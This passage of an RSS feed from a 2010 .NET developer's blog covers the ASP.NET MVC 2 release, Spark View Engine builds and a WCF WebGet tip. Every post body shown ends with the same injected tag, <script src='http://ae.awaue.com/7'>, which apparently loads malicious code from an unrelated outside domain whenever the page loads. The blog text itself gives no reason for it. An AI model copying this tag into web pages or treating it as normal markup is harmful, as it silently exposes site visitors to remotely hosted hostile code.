<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>ASP.NET MVC 2 was RTM’ed today and with the help of <a href="http://www.cptloadtest.com/">Jay Harris</a> &#8211; <a href="http://twitter.com/jayharris/">@jayharris</a> we upgraded our rather large codebase to not only ASP.NET MVC 2 RTM but also a new drop of the Spark View Engine built against the RTM. </p>
<p>Since the release of Spark View Engine 1.1 RC a few weeks ago there have been some minor bugs/enhancements identified but no blockers. The update to RTM was nothing more then changing the assembly reference, build number and running the build script. </p>
<p>These changes are not yet reflected in on the GitHub source. I’m sure there will be a pull request or <a href="http://whereslou.com/">Lou</a> &#8211; <a href="http://twitter.com/loudej">@loudej</a> will update master pretty quickly. </p>
<p>Head over to <a href="http://sparkviewengine.codeplex.com/releases/view/27601">CodePlex</a> to download the new release and of course thanks to Lou for building an amazing tool.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/' rel='bookmark' title='Permanent Link: Spark Binaries For ASP.NET MVC RC2'>Spark Binaries For ASP.NET MVC RC2</a> <small>THIS IS NOT AN OFFICAL RELEASE…YET I spent the evening...</small></li>
<li><a href='http://eric.polerecky.com/archives/asp-net-mvc-spark-support/' rel='bookmark' title='Permanent Link: ASP.NET MVC Spark Support'>ASP.NET MVC Spark Support</a> <small>ASP.NET MVC 2 supports Spark! What? hear me out. The...</small></li>
<li><a href='http://eric.polerecky.com/archives/spark-with-vbnet-project-demo-2/' rel='bookmark' title='Permanent Link: Spark with VB.NET Project Demo #2'>Spark with VB.NET Project Demo #2</a> <small>Outline: Status of using spark in a VB.NET project Bugs...</small></li>
</ol></p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/r6pRmE2lCg0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/spark-view-engine-1-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/spark-view-engine-1-1/</feedburner:origLink></item>
		<item>
		<title>Wcf, WebGet and Client Config</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/97noNk2YKY0/</link>
		<comments>http://eric.polerecky.com/archives/wcf-webget-and-client-config/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 06:04:11 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[WCF]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/wcf-webget-and-client-config/</guid>
		<description><![CDATA[<br/>try:
If you annotate your methods with the WebGet annotation, when a client adds your service as a service ref, there will be no client configuration information. 
catch:
To put that another way, if you use the WebGet annotation it&#8217;s assumed the calling party is going to use rest.
finally:
if you use the WebGet annotation on your WCF


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>try:<br />
If you annotate your methods with the WebGet annotation, when a client adds your service as a service ref, there will be no client configuration information. </p>
<p>catch:<br />
To put that another way, if you use the WebGet annotation it&#8217;s assumed the calling party is going to use rest.</p>
<p>finally:<br />
if you use the WebGet annotation on your WCF operations they can be called as soap operations<br />
<script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/97noNk2YKY0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/wcf-webget-and-client-config/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/wcf-webget-and-client-config/</feedburner:origLink></item>
		<item>
		<title>Spark Binaries For ASP.NET MVC RC2</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/EEU1R3kPaYA/</link>
		<comments>http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 02:03:17 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>THIS IS NOT AN OFFICAL RELEASE…YET
I spent the evening updating the spark source to support ASP.NET MVC RC/RC2. Well, actually I simply applied the changes that were posted to either the mailing list or codeplex. 
All the tests pass:
 
Download it here:
Binaries: Spark-1.0.1.0-release.zip
Source: Spark-1.0.1.0-source.zip
This post, hopefully, won’t be up long.



No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><h2>THIS IS NOT AN OFFICAL RELEASE…YET</h2>
<p>I spent the evening updating the spark source to support ASP.NET MVC RC/RC2. Well, actually I simply applied the changes that were posted to either the mailing list or codeplex. </p>
<p>All the tests pass:</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/02/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/02/image_thumb.png" width="485" height="192" /></a> </p>
<p>Download it here:</p>
<p>Binaries: <a title="Spark-1.0.1.0-release" href="http://usethefeatures.com/downloads/Spark-1.0.1.0-release.zip" target="_blank">Spark-1.0.1.0-release.zip</a></p>
<p>Source: <a title="Spark-1.0.1.0-source" href="http://usethefeatures.com/downloads/Spark-1.0.1.0-source.zip" target="_blank">Spark-1.0.1.0-source.zip</a></p>
<p>This post, hopefully, won’t be up long.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/EEU1R3kPaYA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/spark-binaries-for-asp-net-mvc-rc2/</feedburner:origLink></item>
		<item>
		<title>ASP.NET MVC2 To Provide Real Spark Support</title>
		<link>http://feedproxy.google.com/~r/ericpolerecky/~3/_IVsTT753sM/</link>
		<comments>http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 05:01:53 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Spark]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Ok, that might be going a little too far but it sounds like the barrier I wrote about a few weeks ago might be going away.
Earlier this evening Phil Haack posted this tweet:
 
Excited to hear this I asked a leading implementation question about honoring the output extension directive in T4 templates. 
 
Us old-timer


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>Ok, that might be going a little too far but it sounds like the barrier I <a href="http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/" target="_blank">wrote about</a> a few weeks ago might be going away.</p>
<p>Earlier this evening <a href="http://haacked.com/" target="_blank">Phil Haack</a> posted this tweet:</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image4.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb4.png" width="244" height="167" /></a> </p>
<p>Excited to hear this I asked a leading implementation question about honoring the output extension directive in T4 templates. </p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image5.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb5.png" width="244" height="170" /></a> </p>
<p>Us old-timer remember the almost year before ASP.NET MVC 1.0, when we had not tooling support inside visual studio. Right before 1.0 was released we got right-click view/controller support and it made a world of difference. I honestly believe that without the GUI integration, <strong>that pushed us to use strong-typed views</strong>, MVC would have taken longer to get into less progressive shops. </p>
<p>I’m really excited about MVC2 …but it still needs a logo.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image6.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb6.png" width="244" height="154" /></a> </p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image7.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb7.png" width="244" height="171" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p><img src="http://feeds.feedburner.com/~r/ericpolerecky/~4/_IVsTT753sM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://eric.polerecky.com/archives/asp-net-mvc2-to-provide-real-spark-support/</feedburner:origLink></item>
	</channel>
</rss>
